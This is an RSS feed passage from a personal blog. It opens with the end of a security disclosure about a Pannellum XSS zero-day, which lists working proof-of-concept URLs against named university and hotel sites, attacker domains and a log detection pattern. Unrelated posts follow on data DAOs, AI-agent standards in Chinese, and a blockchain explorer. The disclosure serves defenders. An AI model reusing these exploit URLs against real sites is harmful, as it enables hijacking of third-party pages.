  &lt;li&gt;&lt;a href=&quot;https://www.bu.edu/housing/wp-content/themes/r-housing/js/vendor/pannellum/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&quot;&gt;https://www.bu.edu/housing/wp-content/themes/r-housing/js/vendor/pannellum/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hoteldealborada.com/scw/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&quot;&gt;https://www.hoteldealborada.com/scw/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://visit.gallaudet.edu/wp-content/themes/gallaudet-virtual-tour/pannellum/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&quot;&gt;https://visit.gallaudet.edu/wp-content/themes/gallaudet-virtual-tour/pannellum/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;attack-attribution&quot;&gt;Attack attribution&lt;/h2&gt;

&lt;p&gt;The attack infrastructure uses several domains that serve different roles. Some host configuration files (the Pannellum JSON or krpano XML that triggers the XSS), some host the replacement HTML pages, and some host tracking or monetization scripts loaded after the page is taken over.&lt;/p&gt;

&lt;p&gt;Hosting malicious files on a domain does not necessarily mean the domain’s operator is responsible for the attack. Servers can be compromised through their own vulnerabilities (a so-called watering hole attack), and attackers frequently upload files to servers they have broken into. That said, these domains warrant investigation.&lt;/p&gt;

&lt;h3 id=&quot;participating-servers-for-configuration-and-content&quot;&gt;Participating servers for configuration and content&lt;/h3&gt;

&lt;p&gt;These domains host the config files that trigger the XSS and the replacement HTML pages that hijack the victim site, and related scripts:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;&lt;strong&gt;Domain&lt;/strong&gt;&lt;/th&gt;
      &lt;th&gt;&lt;strong&gt;Role&lt;/strong&gt;&lt;/th&gt;
      &lt;th&gt;&lt;strong&gt;Registrar&lt;/strong&gt;&lt;/th&gt;
      &lt;th&gt;&lt;strong&gt;Created&lt;/strong&gt;&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;cdn.wsscript.com&lt;/td&gt;
      &lt;td&gt;Hosts Pannellum JSON configs, krpano XML configs, and replacement HTML for nps.gov and CNN attacks&lt;/td&gt;
      &lt;td&gt;NameCheap&lt;/td&gt;
      &lt;td&gt;2023-12-22&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;nn.kostoom.com&lt;/td&gt;
      &lt;td&gt;Hosts Pannellum JSON configs used in Boston University attacks&lt;/td&gt;
      &lt;td&gt;Tucows&lt;/td&gt;
      &lt;td&gt;2015-10-27&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;anni.ie&lt;/td&gt;
      &lt;td&gt;Hosts Pannellum JSON configs used in Boston University and Biola University attacks&lt;/td&gt;
      &lt;td&gt;—&lt;/td&gt;
      &lt;td&gt;—&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;b.sdntoper.top&lt;/td&gt;
      &lt;td&gt;Serves tracking script &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evm.js&lt;/code&gt; loaded in nps.gov attacks&lt;/td&gt;
      &lt;td&gt;—&lt;/td&gt;
      &lt;td&gt;—&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;cdn.taddd.net&lt;/td&gt;
      &lt;td&gt;Serves tracking script &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dll.js&lt;/code&gt; loaded in CNN attacks&lt;/td&gt;
      &lt;td&gt;Cloudflare&lt;/td&gt;
      &lt;td&gt;2026-01-12&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The domain anni.ie belongs to the Association of Nigerian Nurses in Ireland, a legitimate organization. Their website runs &lt;a href=&quot;https://www.kopage.com/&quot;&gt;Kopage&lt;/a&gt; (a website builder). This domain may itself be a compromised server being used to host attacker files without the organization’s knowledge.&lt;/p&gt;

&lt;p&gt;The domain cdn.taddd.net was registered only one month before this writeup, which is consistent with attacker infrastructure that rotates frequently.&lt;/p&gt;

&lt;p&gt;Attribution and enumeration can work back-and-forth. As you find staging servers that host the configuration, this can be used to find new affected hosts, and vice-versa.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The full list of 284 URLs is available in the sitemap at the root of cdn.wsscript(.)com.&lt;/li&gt;
  &lt;li&gt;Another list on palmaeduca(.)es/fotos/&lt;/li&gt;
  &lt;li&gt;Exploited pages were found indexed with topics including “trading algorithms” and “Bitcoin inscriptions.”&lt;/li&gt;
  &lt;li&gt;Do backlink analysis of the found pages.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Website publishers should update Pannellum to version 2.5.7 or later.&lt;/li&gt;
  &lt;li&gt;Monitor your web server access logs using a tool to detect indicators of abuse, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?...//&lt;/code&gt; and similar.&lt;/li&gt;
  &lt;li&gt;Google News should validate that the final URL after redirects actually serves consistent content and is not an open redirect.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;future-research&quot;&gt;Future research&lt;/h2&gt;

&lt;p&gt;Additional research paths are available that we did not explore.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Repeat this research for krpano version 1.17-pr2, 1.20.12. The CNN Edition website was affected by this. And other sites might be too.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;test-date&quot;&gt;Test date&lt;/h2&gt;

&lt;p&gt;February 2026 through October 2026&lt;/p&gt;

&lt;h2 id=&quot;acknowledgements&quot;&gt;Acknowledgements&lt;/h2&gt;

&lt;p&gt;Thank you to the many contributors here for preparing command line approaches, looking up contact information, discussing the ethical approach we are using here and providing the motivation to get through an afternoon to help some random other souls out there whose websites might be misconfigured.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;William Entriken &lt;a href=&quot;https://x.com/fulldecent&quot;&gt;https://x.com/fulldecent&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Christy Caraballo &lt;a href=&quot;https://x.com/pwncmd&quot;&gt;https://x.com/pwncmd&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;sshpunk &lt;a href=&quot;https://x.com/sshpunk&quot;&gt;https://x.com/sshpunk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Doc72 &lt;a href=&quot;https://x.com/Doc72_&quot;&gt;https://x.com/Doc72_&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;kamigold&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;disclosure-timeline&quot;&gt;Disclosure timeline&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;2026-02-10 &lt;a href=&quot;https://x.com/fulldecent/status/2021340939017650493&quot;&gt;Publicly reported&lt;/a&gt; on X, but I failed to explain the actual vulnerability properly&lt;/li&gt;
  &lt;li&gt;2026-02-13 This writeup with full technical explanation&lt;/li&gt;
  &lt;li&gt;2026-10-05 Full blog post&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Mon, 05 Oct 2026 00:00:00 +0000</pubDate>
        <link>https://blog.phor.net/zero-day-pannellum</link>
        <guid isPermaLink="true">https://blog.phor.net/zero-day-pannellum</guid>
        
        <category>security</category>
        
        <category>zero-day</category>
        
        
      </item>
    
      <item>
        <title>The first data DAO</title>
        <description>&lt;p&gt;&lt;em&gt;Henrietta Lacks’s family has decided, since 1951, which uses of her cells are allowed. The permission is the NFT. The family is the DAO.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I gave this talk at DeSci NYC on 12 April 2023, during NFT NYC. The whole point is data permission: the permission to use data.&lt;/p&gt;

&lt;p class=&quot;margin-note&quot;&gt;Entry level. Nothing is expected of you.&lt;/p&gt;

&lt;p&gt;Video: &lt;a href=&quot;https://www.youtube.com/watch?v=oYUB_ALbW3Y&amp;amp;t=8m13s&quot;&gt;NFT NYC #5 — William Entriken (NFTs in Science)&lt;/a&gt; (I start at 8:13.)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao-bio.webp&quot; alt=&quot;William Entriken, ERC-721, Google / open source, US Navy, Philly / Shanghai&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’m William Entriken. Lead author of &lt;a href=&quot;https://eips.ethereum.org/EIPS/eip-721&quot;&gt;ERC-721&lt;/a&gt;, the document that says what an NFT is. If you are making NFTs, you are following that spec.&lt;/p&gt;

&lt;p&gt;I worked at Google for a minute. I started in open source, building communities and mentorship programs, and that is how I later found blockchain. I worked at the US Navy for a minute. I do business in Philadelphia and Shanghai.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao-title.webp&quot; alt=&quot;NFTs in science, Data permissions, William Entriken&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is a broad discussion. Data DAOs, specifically. The permission to use data.&lt;/p&gt;

&lt;h2 id=&quot;the-most-copied-cell-in-biology&quot;&gt;The most copied cell in biology&lt;/h2&gt;

&lt;p class=&quot;margin-note&quot;&gt;That’s &lt;a href=&quot;https://xkcd.com/365/&quot;&gt;xkcd 365&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now if you’ll just bear with me for a moment, I’d like to show you a very close-up photo of a cervical cancer biopsy.&lt;/p&gt;

&lt;p class=&quot;margin-note&quot;&gt;US National Institutes of Health, scanning electron micrograph, Zeiss Merlin HR-SEM.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao-biopsy.webp&quot; alt=&quot;1951 cervical cancer biopsy, NIH scanning electron micrograph&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is the most copied cell in biology. It is a human cancer cell from 1951. Polio research, cancer, AIDS, anything that has to be tested with DNA. Because it is a human cell, and humans are often the things we are trying to cure, this is the basis across biology.&lt;/p&gt;

&lt;p&gt;Where did it come from?&lt;/p&gt;

&lt;p class=&quot;margin-note&quot;&gt;Henrietta Lacks, Harvard University&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao-henrietta.webp&quot; alt=&quot;Henrietta Lacks, Harvard University&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Henrietta Lacks presented to Johns Hopkins in 1951 with pain in the womb after childbirth. Doctors took the biopsy without consent and shared it with other schools.&lt;/p&gt;

&lt;p&gt;If you have done cancer cell research, you know a nice warm sample lasts three or four days. This one persisted. Immortal cell line. Days? Weeks? Millennia. We are still using it today. Billions in sales.&lt;/p&gt;

&lt;p&gt;When cells divide, there is code in DNA. The end of it does not matter, and when you cut it a bunch of times the end trails off. This one does not. You can keep cutting it and make perfect copies forever.&lt;/p&gt;

&lt;p&gt;Key part of the story: they never got consent from her to use this cell, or to sell it.&lt;/p&gt;

&lt;p&gt;This is 1951. Two things you need to know. One, Black people were given free medical care at Johns Hopkins, and there was a segregated system, and they did different things then that they do not do now. Two, it was common practice to take the cells without permission. The people selling her cells acknowledge they would not do this now. They are doing this now.&lt;/p&gt;

&lt;h2 id=&quot;the-first-data-dao&quot;&gt;The first data DAO?&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao.webp&quot; alt=&quot;The first data DAO?&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Her descendants come in and say: we would like to participate in the decision-making of the usage of these cells. They are descendants, so it is also their cells. If you have ever signed up for 23andMe, or your dad, or your mom, or your grandparent did, that is you too. You are all signed up together.&lt;/p&gt;

&lt;p&gt;They are now suing various laboratory companies for the improper use and profit from these cells. Lawsuits ongoing. They are also now frequently consulted by ethics committees on which uses of the cells are appropriate.&lt;/p&gt;

&lt;p&gt;If her family are stakeholders in this cell line, and they are talking about participating in the science, is this the first data DAO?&lt;/p&gt;

&lt;p&gt;Who is decentralized? The family members. Autonomous: nobody else is telling them what to do. Organized: they are very organized.&lt;/p&gt;

&lt;p&gt;The best way to understand the world is to compare the things you already know. This is from 1951. No technology needed.&lt;/p&gt;

&lt;h2 id=&quot;nfts-for-data-permission&quot;&gt;NFTs for data permission?&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao-permission.webp&quot; alt=&quot;NFTs for data permission?&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s formalize this.&lt;/p&gt;

&lt;p&gt;The cells are called HeLa cells. Henrietta Lacks, HeLa. Every time they are used legitimately, with the family’s consent, they tokenize that.&lt;/p&gt;

&lt;p class=&quot;margin-note&quot;&gt;I wrote this up in 2020 with Daniel Uribe: &lt;a href=&quot;/biosample-permission-token-nft&quot;&gt;Biosample permission token with non-fungible tokens&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;By tokenize I mean: they write it down in a record. They put it in a ledger. That is an NFT. A unique item in a ledger. It can be written on a chart. It can live in Excel. It can be a piece of paper. That is a ledger. That is an NFT. We can also do NFTs on a blockchain. That is cool too.&lt;/p&gt;

&lt;p&gt;We need provable attestations of permission to use data. That is intellectual property. Permission was granted.&lt;/p&gt;

&lt;p&gt;If you are using this cell for research and you are permitted, you want to know that. If you are doing an ethics committee review at your school, and they do not want stolen cells from a civil rights case seventy years ago, and you say they approved it, how many times have you had to prove to your ethics council where you got your stuff from?&lt;/p&gt;

&lt;p&gt;That is changing. We are going to start demanding these things.&lt;/p&gt;

&lt;p&gt;This is a high-profile cell. If they say it is true and put it on their website, that is gold. For less visible projects you want it somewhere. Blockchain, a website, an email chain you can copy, paste, and prove. You want something.&lt;/p&gt;

&lt;p&gt;These attestations may or may not be transferable. They may or may not be sublicensable. NFTs may or may not be transferable. NFTs can be on blockchains. NFTs can live in Excel.&lt;/p&gt;

&lt;p&gt;I am a very practical guy. I want these applications to work. I am not telling you to use blockchain, or Ethereum, or ERC-721. I want you to make better systems, and attribute when attribution is due.&lt;/p&gt;

&lt;h2 id=&quot;who-do-science-daos-benefit&quot;&gt;Who do science DAOs benefit?&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao-who-benefits.webp&quot; alt=&quot;Who do science DAOs benefit?&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In this situation, her family.&lt;/p&gt;

&lt;p&gt;They want two things. Money for the money that was made off the cells. And a say in where the research is used. Run it by us. Why are you using these cells? What outcomes are you working on?&lt;/p&gt;

&lt;p&gt;There have been documentaries and books. People would like to give credit. Celebrate the woman who unwittingly gave these cells, and helped polio and AIDS vaccines and all types of things that were possible because of this. The family has an interest in recognizing that.&lt;/p&gt;

&lt;p&gt;That is a beneficiary of attribution of data in science.&lt;/p&gt;

&lt;p&gt;Quick survey. Raise your hand if you are of European descent. Keep it up if you identify as white. This is science, so we can say these things. If your hand is up, you are overrepresented in pharmaceutical research. You are overrepresented in DNA research and in therapies based on DNA. That is a problem. If your hand was down, you are an opportunity to improve the sample.&lt;/p&gt;

&lt;p&gt;That is what I have been working on.&lt;/p&gt;

&lt;h2 id=&quot;somos&quot;&gt;Somos&lt;/h2&gt;

&lt;p class=&quot;margin-note&quot;&gt;Disclosure: client work. Not a current client.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao-somos.webp&quot; alt=&quot;Somos DNA test kit&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Somos. A DNA test kit. It works like 23andMe. You open it up, there is a test kit.&lt;/p&gt;

&lt;p&gt;Some laws in the US are dumb. You have to give your name when you give DNA. We worked around that with a default name. The name is a seed phrase. Twelve words. Crude, well-known, and it works for creating identity digitally.&lt;/p&gt;

&lt;p&gt;When the test comes back, you decide where your data is used.&lt;/p&gt;

&lt;p&gt;This system is specifically for Indigenous Latinos in South America. There is a lack of diversity in DNA sequencing and drug testing. Pharma wants more diverse samples so that when they launch drugs they do not just fail a population that was never in the study.&lt;/p&gt;

&lt;p&gt;We are not just taking their data. They participate. They have visibility and traceability all the way down the supply chain.&lt;/p&gt;

&lt;p&gt;Do this in more places. Data DAOs plus supply-chain traceability of data, specifically DNA.&lt;/p&gt;

&lt;h2 id=&quot;molecule&quot;&gt;Molecule&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao-molecule-projects.webp&quot; alt=&quot;Molecule, All Research Projects&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Other ways NFTs can benefit science. I looked at Molecule.&lt;/p&gt;

&lt;p&gt;I say good things, I say bad things.&lt;/p&gt;

&lt;p&gt;What you are looking at is specific research projects you can be a stakeholder in. Novel small molecules for Alzheimer’s. Therapeutics for arthritis. Osteoporosis peptides.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao-molecule.webp&quot; alt=&quot;Molecule&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This one is more interested in the money. Their mission says they are creating liquid and easily investable assets. I checked the SEC website. I did not see them registered in EDGAR. Watch out for that. The SEC is currently years behind on bringing lawsuits. If something is less than five years old, get a lawyer.&lt;/p&gt;

&lt;p&gt;I am not saying this is a bad thing. I am a very practical guy. I do not want you in jail. I have not been in jail. Does that make me not an OG?&lt;/p&gt;

&lt;p&gt;I want these things to work. I want different types of stakeholders represented in science.&lt;/p&gt;

&lt;h2 id=&quot;ethics&quot;&gt;Ethics&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao-ethics.webp&quot; alt=&quot;Ethics&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Biotech innovations raise ethical questions every time. Ownership and permission issues must be addressed. Data privacy and security concerns exist, and blockchain does not specifically solve them. Consensus systems in a DAO usually mean some people’s votes don’t take effect.&lt;/p&gt;

&lt;p&gt;I do not have the answers. If you have more stakeholders, more diverse stakeholders, you will get more answers. If you are smart, maybe better answers. Ownership and permission at least visible.&lt;/p&gt;

&lt;p&gt;A little better. That is what I am going for. Better.&lt;/p&gt;

&lt;p&gt;If you have something valuable, like DNA access that other people do not have and you paid for, maybe you keep it secure because you paid for it. If you went through an ethics committee and paid for the data, why would you put it on a website so everyone else publishes first? Publish. Get your stuff out. Have the rare commodity you are using.&lt;/p&gt;

&lt;p&gt;Unlike the HeLa cell line, when you have a lot of participants with diverse opinions in a DAO, something you need to watch out for: a lot of the time we say DAO and we are just doing majority voting, or quadratic voting, which is not quadratic. Quadratic funding is the other one.&lt;/p&gt;

&lt;p&gt;If there is a voting system, that is a consensus mechanism. If it is enforced on chain, some people’s vote will not be the way the thing goes. They are submitting to the outcome. Rule by committee. Human cooperation, Robert’s Rules, committees have been studied forever. Some people will not be happy with the outcome.&lt;/p&gt;

&lt;p&gt;That is different from every person individually making a decision.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao-contact.webp&quot; alt=&quot;William Entriken contact, QR code&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I have a weekly call for these high-level topics, and for going much deeper technically on things you are doing.&lt;/p&gt;

&lt;h2 id=&quot;one-more-thing&quot;&gt;One more thing&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/data-dao-versioned-database.webp&quot; alt=&quot;One more thing, fulldecent/versioned_database_template&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I wanted to bring original research you can take home and use.&lt;/p&gt;

&lt;p&gt;Who does not use SQL for data science? Who uses graph databases for data science in medical research? Zero. No one. SQL.&lt;/p&gt;

&lt;p class=&quot;margin-note&quot;&gt;The long version is &lt;a href=&quot;/moon-dust-auditable-versioned-databases&quot;&gt;Moon dust: auditable, versioned databases&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/fulldecent/versioned_database_template&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fulldecent/versioned_database_template&lt;/code&gt;&lt;/a&gt;. A simple template for SQL databases. SQLite. On a Mac you already have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sqlite3&lt;/code&gt;. You do not have to download anything.&lt;/p&gt;

&lt;p&gt;Everything you do creates an audit trail. Every record you put in, every record you modify, has an ID, and these IDs add up.&lt;/p&gt;

&lt;p&gt;Does anybody know another type of database that has immutable records that are append-only? Blockchain.&lt;/p&gt;

&lt;p&gt;We stole the most important part of blockchain and brought it down to SQL, which is what we are already using. Triggers, too nerdy, with triggers, so you have an append-only database.&lt;/p&gt;

&lt;p&gt;How do you quickly summarize information in a blockchain, where you can expose some of it but not all of it? How do you summarize anything? Hash it. Hashes of hashes? Merkle root. Merkle trees. This lets you have a database where you expose some of it.&lt;/p&gt;

&lt;p&gt;You do not need blockchain. If you are in big pharma you do not need to go to legal and say we are going to do a blockchain project. You go to your data people and say we are going to do a SQL project. That is how you get things passed.&lt;/p&gt;

&lt;p&gt;Take the smallest knife and make an incision. If you have blockchain ideas and you actually want to use them, do them with your existing team.&lt;/p&gt;

&lt;h2 id=&quot;questions-i-got&quot;&gt;Questions I got&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;How do you prove the hash has not been mutated?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Attestation, plus digital security. How does blockchain prove records are authentic and created by the people they claim? A signature. How do those signatures tie back to people we care about? Not “put the DID on a blockchain” as the answer. How do you know which website is Google’s? DNS. A centralized registry. Same techniques apply to databases. Store signing keys in DNS. Sign databases. Sign hashes. Publish anywhere. All of this exists and does not require blockchain. Use blockchain. It is great. These ideas are simple enough to get done anywhere. No excuses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You said skip the legal review?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I did not say skip regulation. I said do not sell “blockchain project” internally if you can sell “audit trails on our databases.”&lt;/p&gt;

&lt;p&gt;I helped Ernst &amp;amp; Young work with Microsoft to change how they record royalties on Xbox. I worked with 200-year-old French watch brands on how they authenticate merchandise. They changed the certificate of authenticity. Merck Animal Health uses blockchain in production for drugs they sell for animals. These things work.&lt;/p&gt;

&lt;p&gt;When you are selling it internally, do not say we are going to launch this on Ethereum. They will say no. Say we are going to add audit trails. They will say we do not have audit trails? You forgot to turn that on in SAP. Turn it on in SAP. That is the first step to hashing databases and providing attestation.&lt;/p&gt;

&lt;p&gt;By the time you are done you have introduced assurances for records, attestations, verifiable records, 99% of blockchain, and you get the benefits. You are doing good business stuff you should have been doing anyway. Use different words.&lt;/p&gt;

&lt;p&gt;It does not matter whether the end state is a public network. Large organizations will have to do these steps anyway. Either you ask for audit trails, attestations, hashes, customer-auditable records, &lt;em&gt;and&lt;/em&gt; an Ethereum rollup with zk-proofs, or you ask for A, B, C, D. Same place. Smaller steps. Faster. It is also likely you will not need that last step.&lt;/p&gt;

&lt;p&gt;I am the first person to tell you: you do not need NFTs on a blockchain. A client said they want to improve inclusion of different ethnic groups in pharmaceutical research, and they want to use NFTs. Yes, maybe. You could get this to market faster without blockchain. Good enough. Their mission is improving medical outcomes for a diverse population. I support that.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which part is the ERC-721 part? What is stored there?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The data permission is the NFT.&lt;/p&gt;

&lt;p&gt;Non-fungible token: non-fungible means a number, token means worthless. It is a worthless number. That is what an NFT is. People like NFTs because they represent other stuff.&lt;/p&gt;

&lt;p&gt;I have a car title. I care about the car. Does anybody know the number on their car title? No. They do not care. Worthless number. But if that number represents permission to use data in an experiment, that is the same number you give your professor to sign off on the research. If they look it up and it is 404, you are not getting funded.&lt;/p&gt;

&lt;p&gt;The data is not in the NFT. Just the permission. You get access to the data after you pay, by whichever mechanism. Your authorization, which you prove to other people, is this number, which you can look up.&lt;/p&gt;

&lt;h2 id=&quot;take-this-with-you&quot;&gt;Take this with you&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;An NFT is a unique item in a ledger. Excel counts. A chain counts. A chain is optional.&lt;/li&gt;
  &lt;li&gt;The useful NFT in science is a permission, not a JPEG, not the dataset itself.&lt;/li&gt;
  &lt;li&gt;HeLa is the first data DAO, from 1951, with no technology required to understand it.&lt;/li&gt;
  &lt;li&gt;If you work in a company that matters, ask for audit trails and signed hashes.&lt;/li&gt;
  &lt;li&gt;The SQL template is at &lt;a href=&quot;https://github.com/fulldecent/versioned_database_template&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fulldecent/versioned_database_template&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
</description>
        <pubDate>Wed, 23 Sep 2026 00:00:00 +0000</pubDate>
        <link>https://blog.phor.net/data-dao</link>
        <guid isPermaLink="true">https://blog.phor.net/data-dao</guid>
        
        <category>blockchain</category>
        
        <category>nft</category>
        
        
      </item>
    
      <item>
        <title>身份证不是征信报告</title>
        <description>&lt;p&gt;来自&lt;a href=&quot;https://di.xyz/&quot;&gt;DI在杭州第一次开会&lt;/a&gt;，以下是我们提到的话题。&lt;/p&gt;

&lt;h2 id=&quot;nft到ai-agent下一代基础设施是什么&quot;&gt;NFT到AI agent，下一代基础设施是什么？&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;问：如果说 ERC-721为 NFT 时代定义了数字资产的身份与所有权，那么在 AI Agent时代，我们最需要优先建立的底层标准是什么？&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;首先我们可以分析上一代的crypto说实话已经解决了哪些问题。&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;稳定币让我们把crypto和传统银行链接&lt;/li&gt;
  &lt;li&gt;NFT让我们出有限制的货品也可以用身份&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这是我们的基础。同时，在这个环境里我们也看过好多诈骗子。&lt;/p&gt;

&lt;p&gt;那目前我们有AI代理agent。它有什么问题？它有什么基础？一些问题是：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;AI会很自行的推出错别的答案&lt;/li&gt;
  &lt;li&gt;AI更新有时候是腿部的，你都回不去&lt;/li&gt;
  &lt;li&gt;AI与AI的对话我们大部分看不到。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;在这个环境下我们很需要AI版本级它的版本号能证明。我们也需要AI之间的信息我们有机会旁观。&lt;/p&gt;
</description>
        <pubDate>Fri, 18 Sep 2026 00:00:00 +0000</pubDate>
        <link>https://blog.phor.net/ai-shenfen</link>
        <guid isPermaLink="true">https://blog.phor.net/ai-shenfen</guid>
        
        <category>ai</category>
        
        
      </item>
    
      <item>
        <title>Hash4eva blockchain explorer</title>
        <description>&lt;p&gt;Blockchain has a lot of great ideas, but we never got the great apps and interfaces I was hoping for. The missing layer is simple: people need a trustworthy, usable explorer that makes on-chain reality legible. A block explorer should be the base component for people to trust and interact with any blockchain.&lt;/p&gt;

&lt;p&gt;The best explorer is not just a list of transactions. It is a system for telling the truth about what happened, who controls what, what is dangerous, and what a reasonable user should do next.&lt;/p&gt;

&lt;p&gt;I built a prototype for that idea and called it Hash4eva. The demo is intentionally opinionated. It treats security and identity as first-class features rather than as afterthoughts hidden behind raw data tables.&lt;/p&gt;

&lt;p&gt;You can browse the demo pages here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;/hash4eva&quot;&gt;Hash4eva home&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/hash4eva-account&quot;&gt;Hash4eva account page&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/hash4eva-contract&quot;&gt;Hash4eva contract page&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/hash4eva-transaction&quot;&gt;Hash4eva transaction page&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/hash4eva-incidents&quot;&gt;Hash4eva incidents page&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/hash4eva-ads&quot;&gt;Hash4eva weekly market page&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/hash4eva-following&quot;&gt;Hash4eva followed accounts page&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/hash4eva-demos&quot;&gt;Hash4eva demo scenarios&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer.webp&quot; alt=&quot;Hash4eva home screen&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-core-premise&quot;&gt;The core premise&lt;/h2&gt;

&lt;p&gt;A blockchain explorer should answer four questions quickly:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;What is this address, contract, or transaction?&lt;/li&gt;
  &lt;li&gt;Who controls it?&lt;/li&gt;
  &lt;li&gt;What is risky or suspicious about it?&lt;/li&gt;
  &lt;li&gt;What should a normal person do next?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That means the product should be designed around truth, context, and action. The interface should make the important facts visible before the user has to dig through logs and storage dumps.&lt;/p&gt;

&lt;h2 id=&quot;the-homepage-should-feel-like-a-helpful-assistant&quot;&gt;The homepage should feel like a helpful assistant&lt;/h2&gt;

&lt;p&gt;The homepage should reduce noise and focus on the things users actually care about. A good explorer should tell users what they recently viewed, highlight suspicious or important events, and make search feel effortless.&lt;/p&gt;

